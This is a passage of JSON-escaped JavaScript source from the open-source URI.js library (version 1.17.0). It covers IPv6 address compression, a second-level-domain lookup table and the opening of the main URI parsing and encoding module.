_segments;\n    for (var i = 0; i < total; i++) {\n      _segments = segments[i].split('');\n      for (var j = 0; j < 3 ; j++) {\n        if (_segments[0] === '0' && _segments.length > 1) {\n          _segments.splice(0,1);\n        } else {\n          break;\n        }\n      }\n\n      segments[i] = _segments.join('');\n    }\n\n    // find longest sequence of zeroes and coalesce them into one segment\n    var best = -1;\n    var _best = 0;\n    var _current = 0;\n    var current = -1;\n    var inzeroes = false;\n    // i; already declared\n\n    for (i = 0; i < total; i++) {\n      if (inzeroes) {\n        if (segments[i] === '0') {\n          _current += 1;\n        } else {\n          inzeroes = false;\n          if (_current > _best) {\n            best = current;\n            _best = _current;\n          }\n        }\n      } else {\n        if (segments[i] === '0') {\n          inzeroes = true;\n          current = i;\n          _current = 1;\n        }\n      }\n    }\n\n    if (_current > _best) {\n      best = current;\n      _best = _current;\n    }\n\n    if (_best > 1) {\n      segments.splice(best, _best, '');\n    }\n\n    length = segments.length;\n\n    // assemble remaining segments\n    var result = '';\n    if (segments[0] === '')  {\n      result = ':';\n    }\n\n    for (i = 0; i < length; i++) {\n      result += segments[i];\n      if (i === length - 1) {\n        break;\n      }\n\n      result += ':';\n    }\n\n    if (segments[length - 1] === '') {\n      result += ':';\n    }\n\n    return result;\n  }\n\n  function noConflict() {\n    /*jshint validthis: true */\n    if (root.IPv6 === this) {\n      root.IPv6 = _IPv6;\n    }\n  \n    return this;\n  }\n\n  return {\n    best: bestPresentation,\n    noConflict: noConflict\n  };\n}));\n","/*!\n * URI.js - Mutating URLs\n * Second Level Domain (SLD) Support\n *\n * Version: 1.17.0\n *\n * Author: Rodney Rehm\n * Web: http://medialize.github.io/URI.js/\n *\n * Licensed under\n *   MIT License http://www.opensource.org/licenses/mit-license\n *   GPL v3 http://opensource.org/licenses/GPL-3.0\n *\n */\n\n(function (root, factory) {\n  'use strict';\n  // https://github.com/umdjs/umd/blob/master/returnExports.js\n  if (typeof exports === 'object') {\n    // Node\n    module.exports = factory();\n  } else if (typeof define === 'function' && define.amd) {\n    // AMD. Register as an anonymous module.\n    define(factory);\n  } else {\n    // Browser globals (root is window)\n    root.SecondLevelDomains = factory(root);\n  }\n}(this, function (root) {\n  'use strict';\n\n  // save current SecondLevelDomains variable, if any\n  var _SecondLevelDomains = root && root.SecondLevelDomains;\n\n  var SLD = {\n    // list of known Second Level Domains\n    // converted list of SLDs from https://github.com/gavingmiller/second-level-domains\n    // ----\n    // publicsuffix.org is more current and actually used by a couple of browsers internally.\n    // downside is it also contains domains like \"dyndns.org\" - which is fine for the security\n    // issues browser have to deal with (SOP for cookies, etc) - but is way overboard for URI.js\n    // ----\n    list: {\n      'ac':' com gov mil net org ',\n      'ae':' ac co gov mil name net org pro sch ',\n      'af':' com edu gov net org ',\n      'al':' com edu gov mil net org ',\n      'ao':' co ed gv it og pb ',\n      'ar':' com edu gob gov int mil net org tur ',\n      'at':' ac co gv or ',\n      'au':' asn com csiro edu gov id net org ',\n      'ba':' co com edu gov mil net org rs unbi unmo unsa untz unze ',\n      'bb':' biz co com edu gov info net org store tv ',\n      'bh':' biz cc com edu gov info net org ',\n      'bn':' com edu gov net org ',\n      'bo':' com edu gob gov int mil net org tv ',\n      'br':' adm adv agr am arq art ato b bio blog bmd cim cng cnt com coop ecn edu eng esp etc eti far flog fm fnd fot fst g12 ggf gov imb ind inf jor jus lel mat med mil mus net nom not ntr odo org ppg pro psc psi qsl rec slg srv tmp trd tur tv vet vlog wiki zlg ',\n      'bs':' com edu gov net org ',\n      'bz':' du et om ov rg ',\n      'ca':' ab bc mb nb nf nl ns nt nu on pe qc sk yk ',\n      'ck':' biz co edu gen gov info net org ',\n      'cn':' ac ah bj com cq edu fj gd gov gs gx gz ha hb he hi hl hn jl js jx ln mil net nm nx org qh sc sd sh sn sx tj tw xj xz yn zj ',\n      'co':' com edu gov mil net nom org ',\n      'cr':' ac c co ed fi go or sa ',\n      'cy':' ac biz com ekloges gov ltd name net org parliament press pro tm ',\n      'do':' art com edu gob gov mil net org sld web ',\n      'dz':' art asso com edu gov net org pol ',\n      'ec':' com edu fin gov info med mil net org pro ',\n      'eg':' com edu eun gov mil name net org sci ',\n      'er':' com edu gov ind mil net org rochest w ',\n      'es':' com edu gob nom org ',\n      'et':' biz com edu gov info name net org ',\n      'fj':' ac biz com info mil name net org pro ',\n      'fk':' ac co gov net nom org ',\n      'fr':' asso com f gouv nom prd presse tm ',\n      'gg':' co net org ',\n      'gh':' com edu gov mil org ',\n      'gn':' ac com gov net org ',\n      'gr':' com edu gov mil net org ',\n      'gt':' com edu gob ind mil net org ',\n      'gu':' com edu gov net org ',\n      'hk':' com edu gov idv net org ',\n      'hu':' 2000 agrar bolt casino city co erotica erotika film forum games hotel info ingatlan jogasz konyvelo lakas media news org priv reklam sex shop sport suli szex tm tozsde utazas video ',\n      'id':' ac co go mil net or sch web ',\n      'il':' ac co gov idf k12 muni net org ',\n      'in':' ac co edu ernet firm gen gov i ind mil net nic org res ',\n      'iq':' com edu gov i mil net org ',\n      'ir':' ac co dnssec gov i id net org sch ',\n      'it':' edu gov ',\n      'je':' co net org ',\n      'jo':' com edu gov mil name net org sch ',\n      'jp':' ac ad co ed go gr lg ne or ',\n      'ke':' ac co go info me mobi ne or sc ',\n      'kh':' com edu gov mil net org per ',\n      'ki':' biz com de edu gov info mob net org tel ',\n      'km':' asso com coop edu gouv k medecin mil nom notaires pharmaciens presse tm veterinaire ',\n      'kn':' edu gov net org ',\n      'kr':' ac busan chungbuk chungnam co daegu daejeon es gangwon go gwangju gyeongbuk gyeonggi gyeongnam hs incheon jeju jeonbuk jeonnam k kg mil ms ne or pe re sc seoul ulsan ',\n      'kw':' com edu gov net org ',\n      'ky':' com edu gov net org ',\n      'kz':' com edu gov mil net org ',\n      'lb':' com edu gov net org ',\n      'lk':' assn com edu gov grp hotel int ltd net ngo org sch soc web ',\n      'lr':' com edu gov net org ',\n      'lv':' asn com conf edu gov id mil net org ',\n      'ly':' com edu gov id med net org plc sch ',\n      'ma':' ac co gov m net org press ',\n      'mc':' asso tm ',\n      'me':' ac co edu gov its net org priv ',\n      'mg':' com edu gov mil nom org prd tm ',\n      'mk':' com edu gov inf name net org pro ',\n      'ml':' com edu gov net org presse ',\n      'mn':' edu gov org ',\n      'mo':' com edu gov net org ',\n      'mt':' com edu gov net org ',\n      'mv':' aero biz com coop edu gov info int mil museum name net org pro ',\n      'mw':' ac co com coop edu gov int museum net org ',\n      'mx':' com edu gob net org ',\n      'my':' com edu gov mil name net org sch ',\n      'nf':' arts com firm info net other per rec store web ',\n      'ng':' biz com edu gov mil mobi name net org sch ',\n      'ni':' ac co com edu gob mil net nom org ',\n      'np':' com edu gov mil net org ',\n      'nr':' biz com edu gov info net org ',\n      'om':' ac biz co com edu gov med mil museum net org pro sch ',\n      'pe':' com edu gob mil net nom org sld ',\n      'ph':' com edu gov i mil net ngo org ',\n      'pk':' biz com edu fam gob gok gon gop gos gov net org web ',\n      'pl':' art bialystok biz com edu gda gdansk gorzow gov info katowice krakow lodz lublin mil net ngo olsztyn org poznan pwr radom slupsk szczecin torun warszawa waw wroc wroclaw zgora ',\n      'pr':' ac biz com edu est gov info isla name net org pro prof ',\n      'ps':' com edu gov net org plo sec ',\n      'pw':' belau co ed go ne or ',\n      'ro':' arts com firm info nom nt org rec store tm www ',\n      'rs':' ac co edu gov in org ',\n      'sb':' com edu gov net org ',\n      'sc':' com edu gov net org ',\n      'sh':' co com edu gov net nom org ',\n      'sl':' com edu gov net org ',\n      'st':' co com consulado edu embaixada gov mil net org principe saotome store ',\n      'sv':' com edu gob org red ',\n      'sz':' ac co org ',\n      'tr':' av bbs bel biz com dr edu gen gov info k12 name net org pol tel tsk tv web ',\n      'tt':' aero biz cat co com coop edu gov info int jobs mil mobi museum name net org pro tel travel ',\n      'tw':' club com ebiz edu game gov idv mil net org ',\n      'mu':' ac co com gov net or org ',\n      'mz':' ac co edu gov org ',\n      'na':' co com ',\n      'nz':' ac co cri geek gen govt health iwi maori mil net org parliament school ',\n      'pa':' abo ac com edu gob ing med net nom org sld ',\n      'pt':' com edu gov int net nome org publ ',\n      'py':' com edu gov mil net org ',\n      'qa':' com edu gov mil net org ',\n      're':' asso com nom ',\n      'ru':' ac adygeya altai amur arkhangelsk astrakhan bashkiria belgorod bir bryansk buryatia cbg chel chelyabinsk chita chukotka chuvashia com dagestan e-burg edu gov grozny int irkutsk ivanovo izhevsk jar joshkar-ola kalmykia kaluga kamchatka karelia kazan kchr kemerovo khabarovsk khakassia khv kirov koenig komi kostroma kranoyarsk kuban kurgan kursk lipetsk magadan mari mari-el marine mil mordovia mosreg msk murmansk nalchik net nnov nov novosibirsk nsk omsk orenburg org oryol penza perm pp pskov ptz rnd ryazan sakhalin samara saratov simbirsk smolensk spb stavropol stv surgut tambov tatarstan tom tomsk tsaritsyn tsk tula tuva tver tyumen udm udmurtia ulan-ude vladikavkaz vladimir vladivostok volgograd vologda voronezh vrn vyatka yakutia yamal yekaterinburg yuzhno-sakhalinsk ',\n      'rw':' ac co com edu gouv gov int mil net ',\n      'sa':' com edu gov med net org pub sch ',\n      'sd':' com edu gov info med net org tv ',\n      'se':' a ac b bd c d e f g h i k l m n o org p parti pp press r s t tm u w x y z ',\n      'sg':' com edu gov idn net org per ',\n      'sn':' art com edu gouv org perso univ ',\n      'sy':' com edu gov mil net news org ',\n      'th':' ac co go in mi net or ',\n      'tj':' ac biz co com edu go gov info int mil name net nic org test web ',\n      'tn':' agrinet com defense edunet ens fin gov ind info intl mincom nat net org perso rnrt rns rnu tourism ',\n      'tz':' ac co go ne or ',\n      'ua':' biz cherkassy chernigov chernovtsy ck cn co com crimea cv dn dnepropetrovsk donetsk dp edu gov if in ivano-frankivsk kh kharkov kherson khmelnitskiy kiev kirovograd km kr ks kv lg lugansk lutsk lviv me mk net nikolaev od odessa org pl poltava pp rovno rv sebastopol sumy te ternopil uzhgorod vinnica vn zaporizhzhe zhitomir zp zt ',\n      'ug':' ac co go ne or org sc ',\n      'uk':' ac bl british-library co cym gov govt icnet jet lea ltd me mil mod national-library-scotland nel net nhs nic nls org orgn parliament plc police sch scot soc ',\n      'us':' dni fed isa kids nsn ',\n      'uy':' com edu gub mil net org ',\n      've':' co com edu gob info mil net org web ',\n      'vi':' co com k12 net org ',\n      'vn':' ac biz com edu gov health info int name net org pro ',\n      'ye':' co com gov ltd me net org plc ',\n      'yu':' ac co edu gov org ',\n      'za':' ac agric alt bourse city co cybernet db edu gov grondar iaccess imt inca landesign law mil net ngo nis nom olivetti org pix school tm web ',\n      'zm':' ac co com edu gov net org sch '\n    },\n    // gorhill 2013-10-25: Using indexOf() instead Regexp(). Significant boost\n    // in both performance and memory footprint. No initialization required.\n    // http://jsperf.com/uri-js-sld-regex-vs-binary-search/4\n    // Following methods use lastIndexOf() rather than array.split() in order\n    // to avoid any memory allocations.\n    has: function(domain) {\n      var tldOffset = domain.lastIndexOf('.');\n      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {\n        return false;\n      }\n      var sldOffset = domain.lastIndexOf('.', tldOffset-1);\n      if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) {\n        return false;\n      }\n      var sldList = SLD.list[domain.slice(tldOffset+1)];\n      if (!sldList) {\n        return false;\n      }\n      return sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') >= 0;\n    },\n    is: function(domain) {\n      var tldOffset = domain.lastIndexOf('.');\n      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {\n        return false;\n      }\n      var sldOffset = domain.lastIndexOf('.', tldOffset-1);\n      if (sldOffset >= 0) {\n        return false;\n      }\n      var sldList = SLD.list[domain.slice(tldOffset+1)];\n      if (!sldList) {\n        return false;\n      }\n      return sldList.indexOf(' ' + domain.slice(0, tldOffset) + ' ') >= 0;\n    },\n    get: function(domain) {\n      var tldOffset = domain.lastIndexOf('.');\n      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {\n        return null;\n      }\n      var sldOffset = domain.lastIndexOf('.', tldOffset-1);\n      if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) {\n        return null;\n      }\n      var sldList = SLD.list[domain.slice(tldOffset+1)];\n      if (!sldList) {\n        return null;\n      }\n      if (sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') < 0) {\n        return null;\n      }\n      return domain.slice(sldOffset+1);\n    },\n    noConflict: function(){\n      if (root.SecondLevelDomains === this) {\n        root.SecondLevelDomains = _SecondLevelDomains;\n      }\n      return this;\n    }\n  };\n\n  return SLD;\n}));\n","/*!\n * URI.js - Mutating URLs\n *\n * Version: 1.17.0\n *\n * Author: Rodney Rehm\n * Web: http://medialize.github.io/URI.js/\n *\n * Licensed under\n *   MIT License http://www.opensource.org/licenses/mit-license\n *   GPL v3 http://opensource.org/licenses/GPL-3.0\n *\n */\n(function (root, factory) {\n  'use strict';\n  // https://github.com/umdjs/umd/blob/master/returnExports.js\n  if (typeof exports === 'object') {\n    // Node\n    module.exports = factory(require('./punycode'), require('./IPv6'), require('./SecondLevelDomains'));\n  } else if (typeof define === 'function' && define.amd) {\n    // AMD. Register as an anonymous module.\n    define(['./punycode', './IPv6', './SecondLevelDomains'], factory);\n  } else {\n    // Browser globals (root is window)\n    root.URI = factory(root.punycode, root.IPv6, root.SecondLevelDomains, root);\n  }\n}(this, function (punycode, IPv6, SLD, root) {\n  'use strict';\n  /*global location, escape, unescape */\n  // FIXME: v2.0.0 renamce non-camelCase properties to uppercase\n  /*jshint camelcase: false */\n\n  // save current URI variable, if any\n  var _URI = root && root.URI;\n\n  function URI(url, base) {\n    var _urlSupplied = arguments.length >= 1;\n    var _baseSupplied = arguments.length >= 2;\n\n    // Allow instantiation without the 'new' keyword\n    if (!(this instanceof URI)) {\n      if (_urlSupplied) {\n        if (_baseSupplied) {\n          return new URI(url, base);\n        }\n\n        return new URI(url);\n      }\n\n      return new URI();\n    }\n\n    if (url === undefined) {\n      if (_urlSupplied) {\n        throw new TypeError('undefined is not a valid argument for URI');\n      }\n\n      if (typeof location !== 'undefined') {\n        url = location.href + '';\n      } else {\n        url = '';\n      }\n    }\n\n    this.href(url);\n\n    // resolve to base according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#constructor\n    if (base !== undefined) {\n      return this.absoluteTo(base);\n    }\n\n    return this;\n  }\n\n  URI.version = '1.17.0';\n\n  var p = URI.prototype;\n  var hasOwn = Object.prototype.hasOwnProperty;\n\n  function escapeRegEx(string) {\n    // https://github.com/medialize/URI.js/commit/85ac21783c11f8ccab06106dba9735a31a86924d#commitcomment-821963\n    return string.replace(/([.*+?^=!:${}()|[\\]\\/\\\\])/g, '\\\\$1');\n  }\n\n  function getType(value) {\n    // IE8 doesn't return [Object Undefined] but [Object Object] for undefined value\n    if (value === undefined) {\n      return 'Undefined';\n    }\n\n    return String(Object.prototype.toString.call(value)).slice(8, -1);\n  }\n\n  function isArray(obj) {\n    return getType(obj) === 'Array';\n  }\n\n  function filterArrayValues(data, value) {\n    var lookup = {};\n    var i, length;\n\n    if (getType(value) === 'RegExp') {\n      lookup = null;\n    } else if (isArray(value)) {\n      for (i = 0, length = value.length; i < length; i++) {\n        lookup[value[i]] = true;\n      }\n    } else {\n      lookup[value] = true;\n    }\n\n    for (i = 0, length = data.length; i < length; i++) {\n      /*jshint laxbreak: true */\n      var _match = lookup && lookup[data[i]] !== undefined\n        || !lookup && value.test(data[i]);\n      /*jshint laxbreak: false */\n      if (_match) {\n        data.splice(i, 1);\n        length--;\n        i--;\n      }\n    }\n\n    return data;\n  }\n\n  function arrayContains(list, value) {\n    var i, length;\n\n    // value may be string, number, array, regexp\n    if (isArray(value)) {\n      // Note: this can be optimized to O(n) (instead of current O(m * n))\n      for (i = 0, length = value.length; i < length; i++) {\n        if (!arrayContains(list, value[i])) {\n          return false;\n        }\n      }\n\n      return true;\n    }\n\n    var _type = getType(value);\n    for (i = 0, length = list.length; i < length; i++) {\n      if (_type === 'RegExp') {\n        if (typeof list[i] === 'string' && list[i].match(value)) {\n          return true;\n        }\n      } else if (list[i] === value) {\n        return true;\n      }\n    }\n\n    return false;\n  }\n\n  function arraysEqual(one, two) {\n    if (!isArray(one) || !isArray(two)) {\n      return false;\n    }\n\n    // arrays can't be equal if they have different amount of content\n    if (one.length !== two.length) {\n      return false;\n    }\n\n    one.sort();\n    two.sort();\n\n    for (var i = 0, l = one.length; i < l; i++) {\n      if (one[i] !== two[i]) {\n        return false;\n      }\n    }\n\n    return true;\n  }\n\n  function trimSlashes(text) {\n    var trim_expression = /^\\/+|\\/+$/g;\n    return text.replace(trim_expression, '');\n  }\n\n  URI._parts = function() {\n    return {\n      protocol: null,\n      username: null,\n      password: null,\n      hostname: null,\n      urn: null,\n      port: null,\n      path: null,\n      query: null,\n      fragment: null,\n      // state\n      duplicateQueryParameters: URI.duplicateQueryParameters,\n      escapeQuerySpace: URI.escapeQuerySpace\n    };\n  };\n  // state: allow duplicate query parameters (a=1&a=1)\n  URI.duplicateQueryParameters = false;\n  // state: replaces + with %20 (space in query strings)\n  URI.escapeQuerySpace = true;\n  // static properties\n  URI.protocol_expression = /^[a-z][a-z0-9.+-]*$/i;\n  URI.idn_expression = /[^a-z0-9\\.-]/i;\n  URI.punycode_expression = /(xn--)/i;\n  // well, 333.444.555.666 matches, but it sure ain't no IPv4 - do we care?\n  URI.ip4_expression = /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/;\n  // credits to Rich Brown\n  // source: http://forums.intermapper.com/viewtopic.php?p=1096#1096\n  // specification: http://www.ietf.org/rfc/rfc4291.txt\n  URI.ip6_expression = /^\\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:)))(%.+)?\\s*$/;\n  // expression used is \"gruber revised\" (@gruber v2) determined to be the\n  // best solution in a regex-golf we did a couple of ages ago at\n  // * http://mathiasbynens.be/demo/url-regex\n  // * http://rodneyrehm.de/t/url-regex.html\n  URI.find_uri_expression = /\\b((?:[a-z][\\w-]+:(?:\\/{1,3}|[a-z0-9%])|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}\\/)(?:[^\\s()<>]+|\\(([^\\s()<>]+|(\\([^\\s()<>]+\\)))*\\))+(?:\\(([^\\s()<>]+|(\\([^\\s()<>]+\\)))*\\)|[^\\s`!()\\[\\]{};:'\".,<>?«»“”‘’]))/ig;\n  URI.findUri = {\n    // valid \"scheme://\" or \"www.\"\n    start: /\\b(?:([a-z][a-z0-9.+-]*:\\/\\/)|www\\.)/gi,\n    // everything up to the next whitespace\n    end: /[\\s\\r\\n]|$/,\n    // trim trailing punctuation captured by end RegExp\n    trim: /[`!()\\[\\]{};:'\".,<>?«»“”„‘’]+$/\n  };\n  // http://www.iana.org/assignments/uri-schemes.html\n  // http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports\n  URI.defaultPorts = {\n    http: '80',\n    https: '443',\n    ftp: '21',\n    gopher: '70',\n    ws: '80',\n    wss: '443'\n  };\n  // allowed hostname characters according to RFC 3986\n  // ALPHA DIGIT \"-\" \".\" \"_\" \"~\" \"!\" \"$\" \"&\" \"'\" \"(\" \")\" \"*\" \"+\" \",\" \";\" \"=\" %encoded\n  // I've never seen a (non-IDN) hostname other than: ALPHA DIGIT . -\n  URI.invalid_hostname_characters = /[^a-zA-Z0-9\\.-]/;\n  // map DOM Elements to their URI attribute\n  URI.domAttributes = {\n    'a': 'href',\n    'blockquote': 'cite',\n    'link': 'href',\n    'base': 'href',\n    'script': 'src',\n    'form': 'action',\n    'img': 'src',\n    'area': 'href',\n    'iframe': 'src',\n    'embed': 'src',\n    'source': 'src',\n    'track': 'src',\n    'input': 'src', // but only if type=\"image\"\n    'audio': 'src',\n    'video': 'src'\n  };\n  URI.getDomAttribute = function(node) {\n    if (!node || !node.nodeName) {\n      return undefined;\n    }\n\n    var nodeName = node.nodeName.toLowerCase();\n    // <input> should only expose src for type=\"image\"\n    if (nodeName === 'input' && node.type !== 'image') {\n      return undefined;\n    }\n\n    return URI.domAttributes[nodeName];\n  };\n\n  function escapeForDumbFirefox36(value) {\n    // https://github.com/medialize/URI.js/issues/91\n    return escape(value);\n  }\n\n  // encoding / decoding according to RFC3986\n  function strictEncodeURIComponent(string) {\n    // see https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent\n    return encodeURIComponent(string)\n      .replace(/[!'()*]/g, escapeForDumbFirefox36)\n      .replace(/\\*/g, '%2A');\n  }\n  URI.encode = strictEncodeURIComponent;\n  URI.decode = decodeURIComponent;\n  URI.iso8859 = function() {\n    URI.encode = escape;\n    URI.decode = unescape;\n  };\n  URI.unicode = function() {\n    URI.encode = strictEncodeURIComponent;\n    URI.decode = decodeURIComponent;\n  };\n  URI.characters = {\n    pathname: {\n      encode: {\n        // RFC3986 2.1: For consistency, URI producers and normalizers should\n        // use uppercase hexadecimal digits for all percent-encodings.\n        expression: /%(24|26|2B|2C|3B|3D|3A|40)/ig,\n        map: {\n          // -._~!'()*\n          '%24': '$',\n          '%26': '&',\n          '%2B': '+',\n          '%2C': ',',\n          '%3B': ';',\n          '%3D': '=',\n          '%3A': ':',\n          '%40': '@'\n        }\n      },\n      decode: {\n        expression: /[\\/\\?#]/g,\n        map: {\n          '/': '%2F',\n          '?': '%3F',\n          '#': '%23'\n        }\n      }\n    },\n    reserved: {\n      encode: {\n        // RFC3986 2.1: For consistency, URI producers and normalizers should\n        // use uppercase hexadecimal digits for all percent-encodings.\n        expression: /%(21|23|24|26|27|28|29|2A|2B|2C|2F|3A|3B|3D|3F|40|5B|5D)/ig,\n        map: {\n          // gen-delims\n          '%3A': ':',\n          '%2F': '/',\n          '%3F': '?',\n          '%23': '#',\n          '%5B': '[',\n          '%5D': ']',\n          '%40': '@',\n          // sub-delims\n          '%21': '!',\n          '%24': '$',\n          '%26': '&',\n          '%27': '\\'',\n          '%28': '(',\n          '%29': ')',\n          '%2A': '*',\n          '%2B': '+',\n          '%2C': ',',\n          '%3B': ';',\n          '%3D': '='\n        }\n      }\n    },\n    urnpath: {\n      // The characters under `encode` are the characters called out by RFC 2141 as being acceptable\n      // for usage in a URN. RFC2141 also calls out \"-\", \".\", and \"_\" as acceptable characters, but\n      // these aren't encoded by encodeURIComponent, so we don't have to call them out here. Also\n      // note that the colon character is not featured in the encoding map; this is because URI.js\n      // gives the colons in URNs semantic meaning as the delimiters of path segements, and so it\n      // should not appear unencoded in a segment itself.\n      // See also the note above about RFC3986 and capitalalized hex digits.\n      encode: {\n        expression: /%(21|24|27|28|29|2A|2B|2C|3B|3D|40)/ig,\n        map: {\n          '%21': '!',\n          '%24': '$',\n          '%27': '\\'',\n          '%28': '(',\n          '%29': ')',\n          '%2A': '*',\n          '%2B': '+',\n          '%2C': ',',\n          '%3B': ';',\n          '%3D': '=',\n          '%40': '@'\n        }\n      },\n      // These characters are the characters called out by RFC2141 as \"reserved\" characters that\n      // should never appear in a URN, plus the colon character (see note above).\n      decode: {\n        expression: /[\\/\\?#:]/g,\n        map: {\n          '/': '%2F',\n          '?': '%3F',\n          '#': '%23',\n          ':': '%3A'\n        }\n      }\n    }\n  };\n  URI.encodeQuery = function(string, escapeQuerySpace) {\n    var escaped = URI.encode(string + '');\n    if (escapeQuerySpace === undefined) {\n      escapeQuerySpace = URI.escapeQuerySpace;\n    }\n\n    return escapeQuerySpace ? escaped.replace(/%20/g, '+') : escaped;\n  };\n  URI.decodeQuery = function(string, escapeQuerySpace) {\n    string += '';\n    if (escapeQuerySpace === undefined) {\n      escapeQuerySpace = URI.escapeQuerySpace;\n    }\n\n    try {\n      return URI.decode(escapeQuerySpace ? string.replace(/\\+/g, '%20') : string);\n    } catch(e) {\n      // we're not going to mess with weird encodings,\n      // give up and return the undecoded original string\n      // see https://github.com/medialize/URI.js/issues/87\n      // see https://github.com/medialize/URI.js/issues/92\n      return string;\n    }\n  };\n  // generate encode/decode path functions\n  var _parts = {'encode':'encode', 'decode':'decode'};\n  var _part;\n  var generateAccessor = function(_group, _part) {\n    return function(string) {\n      try {\n        return URI[_part](string + '').replace(URI.characters[_group][_part].expression, function(c) {\n          return URI.characters[_group][_part].map[c];\n        });\n      } catch (e) {\n        // we're not going to mess with weird encodings,\n        // give up and return the undecoded original string\n        // see https://github.com/medialize/URI.js/issues/87\n        // see https://github.com/medialize/URI.js/issues/92\n        return string;\n      }\n    };\n  };\n\n  for (_part in _parts) {\n    URI[_part + 'PathSegment'] = generateAccessor('pathname', _parts[_part]);\n    URI[_part + 'UrnPathSegment'] = generateAccessor('urnpath', _parts[_part]);\n  }\n\n  var generateSegmentedPathFunction = function(_sep, _codingFuncName, _innerCodingFuncName) {\n    return function(string) {\n      // Why pass in names of functions, rather than the function objects themselves? The\n      // definitions of some functions (but in particular, URI.decode) will occasionally change due\n      // to URI.js having ISO8859 and Unicode modes. Passing in the name and getting it will ensure\n      // that the functions we use here are \"fresh\".\n      var actualCodingFunc;\n      if (!_innerCodingFuncName) {\n        actualCodingFunc = URI[_codingFuncName];\n      } else {\n        actualCodingFunc = function(string) {\n          return URI[_codingFuncName](URI[_innerCodingFuncName](string));\n        };\n      }\n\n      var segments = (string + '').split(_sep);\n\n      for (var i = 0, length = segments.length; i < length; i++) {\n        segments[i] = actualCodingFunc(segments[i]);\n      }\n\n      return segments.join(_sep);\n    };\n  };\n\n  // This takes place outside the above loop because we don't want, e.g., encodeUrnPath functions.\n  URI.decodePath = generateSegmentedPathFunction('/', 'decodePathSegment');\n  URI.decodeUrnPath = generateSegmentedPathFunction(':', 'decodeUrnPathSegment');\n  URI.recodePath = generateSegmentedPathFunction('/', 'encodePathSegment', 'decode');\n  URI.recodeUrnPath = generateSegmentedPathFunction(':', 'encodeUrnPathSegment', 'decode');\n\n  URI.encodeReserved = generateAccessor('reserved', 'encode');\n\n  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {};\n    }\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3) === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }\n\n    // what's left must be the path\n    parts.path = string;\n\n    // and we're done\n    return parts;\n  };\n  URI.parseHost = function(string, parts) {\n    // Copy chrome, IE, opera backslash-handling behavior.\n    // Back slashes before the query string get converted to forward slashes\n    // See: https://github.com/joyent/node/blob/386fd24f49b0e9d1a8a076592a404168faeecc34/lib/url.js#L115-L124\n    // See: https://code.google.com/p/chromium/issues/detail?id=25916\n    // https://github.com/medialize/URI.js/pull/233\n    string = string.replace(/\\\\/g, '/');\n\n    // extract host:port\n    var pos = string.indexOf('/');\n    var 